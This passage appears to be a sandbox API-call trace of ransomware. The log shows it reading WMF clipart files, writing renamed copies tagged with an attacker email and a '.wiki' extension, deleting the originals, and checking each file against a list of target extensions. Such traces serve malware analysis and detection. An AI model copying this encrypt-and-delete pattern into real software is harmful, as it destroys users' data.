].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0199.440] GetLastError () returned 0x0 [0199.440] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x69d8, lpOverlapped=0x0) returned 1 [0199.457] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x69e0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x69e0, lpOverlapped=0x0) returned 1 [0199.459] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.459] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.459] SetEndOfFile (hFile=0x200) returned 1 [0199.459] CloseHandle (hObject=0x200) returned 1 [0199.459] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.459] SetEndOfFile (hFile=0x1f0) returned 1 [0199.460] CloseHandle (hObject=0x1f0) returned 1 [0199.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf")) returned 1 [0199.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0199.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0199.461] lstrlenW (lpString=".doc") returned 4 [0199.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.461] lstrlenW (lpString=".docx") returned 5 [0199.461] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.461] lstrlenW (lpString=".pdf") returned 4 [0199.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.461] lstrlenW (lpString=".xls") returned 4 [0199.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.461] lstrlenW (lpString=".xlsx") returned 5 [0199.461] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.461] lstrlenW (lpString=".ppt") returned 4 [0199.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0199.461] lstrlenW (lpString=".zip") returned 4 [0199.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.461] lstrlenW (lpString=".rar") returned 4 [0199.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.461] lstrlenW (lpString=".bz2") returned 4 [0199.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.461] lstrlenW (lpString=".7z") returned 3 [0199.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0199.461] lstrlenW (lpString=".dbf") returned 4 [0199.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0199.461] lstrlenW (lpString=".1cd") returned 4 [0199.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0199.461] lstrlenW (lpString=".jpg") returned 4 [0199.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0199.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0199.462] lstrlenW (lpString=".doc") returned 4 [0199.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.462] lstrlenW (lpString=".docx") returned 5 [0199.462] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.462] lstrlenW (lpString=".pdf") returned 4 [0199.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.462] lstrlenW (lpString=".xls") returned 4 [0199.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.462] lstrlenW (lpString=".xlsx") returned 5 [0199.462] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.462] lstrlenW (lpString=".ppt") returned 4 [0199.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0199.462] lstrlenW (lpString=".zip") returned 4 [0199.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.462] lstrlenW (lpString=".rar") returned 4 [0199.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.462] lstrlenW (lpString=".bz2") returned 4 [0199.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.462] lstrlenW (lpString=".7z") returned 3 [0199.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0199.462] lstrlenW (lpString=".dbf") returned 4 [0199.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0199.462] lstrlenW (lpString=".1cd") returned 4 [0199.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0199.463] lstrlenW (lpString=".jpg") returned 4 [0199.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.463] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.463] lstrlenW (lpString="J0185786.WMF") returned 12 [0199.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.463] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=39330) returned 1 [0199.463] CloseHandle (hObject=0x1f0) returned 1 [0199.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf")) returned 0x20 [0199.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.464] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.464] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0199.541] GetLastError () returned 0x0 [0199.541] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x99a2, lpOverlapped=0x0) returned 1 [0199.560] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x99b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x99b0, lpOverlapped=0x0) returned 1 [0199.561] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.561] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.561] SetEndOfFile (hFile=0x200) returned 1 [0199.562] CloseHandle (hObject=0x200) returned 1 [0199.562] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.562] SetEndOfFile (hFile=0x1f0) returned 1 [0199.563] CloseHandle (hObject=0x1f0) returned 1 [0199.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf")) returned 1 [0199.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0199.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0199.563] lstrlenW (lpString=".doc") returned 4 [0199.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.563] lstrlenW (lpString=".docx") returned 5 [0199.563] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.563] lstrlenW (lpString=".pdf") returned 4 [0199.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.563] lstrlenW (lpString=".xls") returned 4 [0199.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.563] lstrlenW (lpString=".xlsx") returned 5 [0199.563] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.563] lstrlenW (lpString=".ppt") returned 4 [0199.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0199.564] lstrlenW (lpString=".zip") returned 4 [0199.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.564] lstrlenW (lpString=".rar") returned 4 [0199.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.564] lstrlenW (lpString=".bz2") returned 4 [0199.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.564] lstrlenW (lpString=".7z") returned 3 [0199.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0199.564] lstrlenW (lpString=".dbf") returned 4 [0199.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0199.564] lstrlenW (lpString=".1cd") returned 4 [0199.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0199.564] lstrlenW (lpString=".jpg") returned 4 [0199.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0199.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0199.564] lstrlenW (lpString=".doc") returned 4 [0199.564] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.564] lstrlenW (lpString=".docx") returned 5 [0199.564] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.564] lstrlenW (lpString=".pdf") returned 4 [0199.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.565] lstrlenW (lpString=".xls") returned 4 [0199.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.565] lstrlenW (lpString=".xlsx") returned 5 [0199.565] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.565] lstrlenW (lpString=".ppt") returned 4 [0199.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0199.565] lstrlenW (lpString=".zip") returned 4 [0199.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.565] lstrlenW (lpString=".rar") returned 4 [0199.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.565] lstrlenW (lpString=".bz2") returned 4 [0199.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.565] lstrlenW (lpString=".7z") returned 3 [0199.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0199.565] lstrlenW (lpString=".dbf") returned 4 [0199.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0199.565] lstrlenW (lpString=".1cd") returned 4 [0199.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0199.565] lstrlenW (lpString=".jpg") returned 4 [0199.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.565] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.566] lstrlenW (lpString="J0185834.WMF") returned 12 [0199.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.566] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8578) returned 1 [0199.566] CloseHandle (hObject=0x1f0) returned 1 [0199.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf")) returned 0x20 [0199.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.567] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.567] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0199.571] GetLastError () returned 0x0 [0199.571] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2182, lpOverlapped=0x0) returned 1 [0199.573] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2190, lpOverlapped=0x0) returned 1 [0199.574] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.574] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.574] SetEndOfFile (hFile=0x200) returned 1 [0199.574] CloseHandle (hObject=0x200) returned 1 [0199.574] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.574] SetEndOfFile (hFile=0x1f0) returned 1 [0199.575] CloseHandle (hObject=0x1f0) returned 1 [0199.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf")) returned 1 [0199.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0199.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0199.575] lstrlenW (lpString=".doc") returned 4 [0199.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.576] lstrlenW (lpString=".docx") returned 5 [0199.576] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0199.576] lstrlenW (lpString=".pdf") returned 4 [0199.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.576] lstrlenW (lpString=".xls") returned 4 [0199.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.576] lstrlenW (lpString=".xlsx") returned 5 [0199.576] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0199.576] lstrlenW (lpString=".ppt") returned 4 [0199.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0199.576] lstrlenW (lpString=".zip") returned 4 [0199.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.576] lstrlenW (lpString=".rar") returned 4 [0199.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.576] lstrlenW (lpString=".bz2") returned 4 [0199.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.576] lstrlenW (lpString=".7z") returned 3 [0199.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0199.576] lstrlenW (lpString=".dbf") returned 4 [0199.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0199.576] lstrlenW (lpString=".1cd") returned 4 [0199.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0199.576] lstrlenW (lpString=".jpg") returned 4 [0199.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0199.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0199.577] lstrlenW (lpString=".doc") returned 4 [0199.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.577] lstrlenW (lpString=".docx") returned 5 [0199.577] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0199.577] lstrlenW (lpString=".pdf") returned 4 [0199.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.577] lstrlenW (lpString=".xls") returned 4 [0199.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.577] lstrlenW (lpString=".xlsx") returned 5 [0199.577] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0199.577] lstrlenW (lpString=".ppt") returned 4 [0199.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0199.577] lstrlenW (lpString=".zip") returned 4 [0199.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.577] lstrlenW (lpString=".rar") returned 4 [0199.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.577] lstrlenW (lpString=".bz2") returned 4 [0199.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.577] lstrlenW (lpString=".7z") returned 3 [0199.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0199.577] lstrlenW (lpString=".dbf") returned 4 [0199.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0199.577] lstrlenW (lpString=".1cd") returned 4 [0199.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0199.578] lstrlenW (lpString=".jpg") returned 4 [0199.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.578] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.578] lstrlenW (lpString="J0185842.WMF") returned 12 [0199.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.578] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=14308) returned 1 [0199.578] CloseHandle (hObject=0x1f0) returned 1 [0199.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf")) returned 0x20 [0199.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.579] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.579] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0199.580] GetLastError () returned 0x0 [0199.580] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x37e4, lpOverlapped=0x0) returned 1 [0199.583] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x37f0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x37f0, lpOverlapped=0x0) returned 1 [0199.584] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, 